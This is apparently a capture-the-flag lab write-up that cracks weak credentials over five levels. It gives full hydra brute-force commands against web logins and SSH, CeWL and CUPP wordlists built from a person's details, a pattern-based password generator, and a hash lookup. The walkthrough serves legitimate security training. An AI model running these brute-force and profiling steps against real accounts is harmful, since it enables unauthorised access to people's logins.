Checkmate is a password-hygiene story told in five levels. Each one models a service Marco Bianchi deployed with weak, predictable, or pattern-based credentials, and each level hands you a clue, if you actually read the brief.
Level 1: Default credentials on the firewall console
Level 1 is a login form for a FirewallOS Management Console on firewall.thm:5001.
The page says “Use your administrator credentials”, so I went with admin and threw rockyou at it with hydra:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.x.x.x -s 5001 \ http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f[5001][http-post-form] host: 10.x.x.x login: admin password: ████████[STATUS] attack finished for 10.x.x.x (valid pair found)1 of 1 target successfully completed, 1 valid password foundThe password is a weak default. Level 1 done.
Level 2: Keyword spray on the employee portal
Level 2 is a job site, Engineering Careers on jobs.thm:5002.
It has an Employee Login. The username field pre-fills marco, so I wnet with that user.
My first instinct was another rockyou run:
hydra -l marco -P /usr/share/wordlists/rockyou.txt 10.x.x.x -s 5002 \ http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f…but then I re-read the level note properly:
“Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.”
So the password is a word from the site itself. I scraped the portal with CeWL to build a targeted keyword list:
cewl http://10.x.x.x:5002/ -d 2 -m 4 --lowercase --with-numbers --meta -w keywords.txtThen sprayed those keywords against marco, only ~89 candidates, so it finishes in seconds:
[DATA] max 16 tasks per 1 server, overall 16 tasks, 89 login tries (l:1/p:89)[5002][http-post-form] host: 10.x.x.x login: marco password: ████████1 of 1 target successfully completed, 1 valid password foundA company keyword, exactly as advertised. Level 2 done.
Level 3: OSINT-built wordlist for the social account
The level note: “Navigate to social.thm:5003 and derive Marco’s password from personal info.” Logging into the portal from Level 2 exposes Marco’s profile, which leaks some personal details.
This is textbook CUPP territory, build a wordlist from a person’s personal info. First a pass over the details I collected:
cupp -w marco_info.txt> Do you want to concatenate all words from wordlist? Y/[N]: y> Do you want to add special chars at the end of words? Y/[N]: y> Do you want to add some random numbers at the end of words? Y/[N]: y> Leet mode? (i.e. leet = 1337) Y/[N]: y[+] Saving dictionary to marco_info.txt.cupp.txt, counting 3604 words.Then a second pass in interactive mode, feeding in the profile fields directly:
> First Name: Marco> Surname: Bianchi> Nickname: marky> Birthdate (DDMMYYYY): 14021995> Do you want to add some key words about the victim? Y/[N]: y> Please enter the words...: operations> Do you want to add special chars at the end of words? Y/[N]: y> Do you want to add some random numbers at the end of words? Y/[N]: y> Leet mode? (i.e. leet = 1337) Y/[N]: y[+] Saving dictionary to marco.txt, counting 13840 words.Merge both lists (deduped) and fire:
awk '!seen[$0]++' marco.txt marco_info.txt.cupp.txt > marco_combined.txthydra -l marco -P marco_combined.txt 10.x.x.x -s 5003 \ http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -f[DATA] max 16 tasks per 1 server, overall 16 tasks, 14021 login tries (l:1/p:14021)[5003][http-post-form] host: 10.x.x.x login: marco password: ████████1 of 1 target successfully completed, 1 valid password foundA surname-plus-birthyear mashup, straight out of the CUPP profile. Level 3 done.
We also have another info: on his social feed Marco spells out his password formula, take a company keyword, capitalise it, append the year, add an exclamation mark. Hold onto that for the final level.
Level 4: Crack the profile-picture filename (SHA256)
The brief for Level 4:
“The platform automatically renames uploaded files to the SHA256 hash of the original filename, saved as
(SHA256).png. Identify the original filename of Marco’s uploaded profile picture. Submit only the filename.”
So no password mask yet, this is a straight hash crack. Inspecting the profile picture gives the filename hash:
d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7bRather than reach for hashcat, I tried CrackStation first, it’s a lookup against precomputed tables and instant for anything common:
It resolves immediately, the original filename was a common dictionary word. Level 4 done.
Level 5: Pattern-based wordlist to brute-force SSH
The final brief: “Marco has revealed his password pattern on social.thm:5003… Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.”
This is where the password formula from Level 3 pays off, keyword + capitalise + year + !. I generated a wordlist matching that exact mask from the keywords CeWL had already pulled:
for word in $(cat keywords.txt); do cap=$(echo "$word" | sed 's/./\U&/') # capitalise first letter for year in $(seq 2018 2026) 123 1 12; do # likely years + a few numbers echo "${cap}${year}!" donedone | sort -u > marco_ssh.txtThen brute-force SSH:
hydra -l marco -P marco_ssh.txt ssh://social.thm -s 5003 -V -t 4TIP
SSH brute-forcing is slow compared to HTTP. Keeping the wordlist tight (it’s just keyword + year + !) is what makes this finish in a reasonable time. Mid-run, I realized I didn´t add marco’s birthdate but hopefully it was not needed.
[22][ssh] host: 10.x.x.x login: marco password: ████████1 of 1 target successfully completed, 1 valid password foundkeyword + year + !, exactly the formula Marco bragged about. Box complete. 🚩
Takeaways
- Read what is given to you. My slowest moments were the two times I didn´t do that, read the things.
- OSINT compounds. Each level fed the next: the profile fed CUPP, the social feed handed over the exact password formula that cracked SSH, sometimes older level still gives info.
- Try the lookup first. For a common word, CrackStation is instant, no reason to spin up hashcat before checking precomputed tables.